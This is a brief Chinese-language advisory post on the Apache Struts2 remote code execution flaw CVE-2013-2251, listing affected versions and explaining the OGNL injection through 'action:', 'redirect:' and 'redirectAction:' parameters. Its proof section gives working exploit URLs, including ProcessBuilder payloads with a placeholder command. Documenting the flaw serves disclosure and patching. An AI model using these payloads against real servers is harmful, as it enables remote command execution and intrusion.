Struts2再爆远程代码执行漏洞

时间：2023-03-08 16:55:25
Struts2再爆远程代码执行漏洞

Struts又爆远程代码执行漏洞！在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。

描述

影响版本	 Struts 2.0.0 - Struts 2.3.15

报告者	 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE编号      CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Apache官方地址

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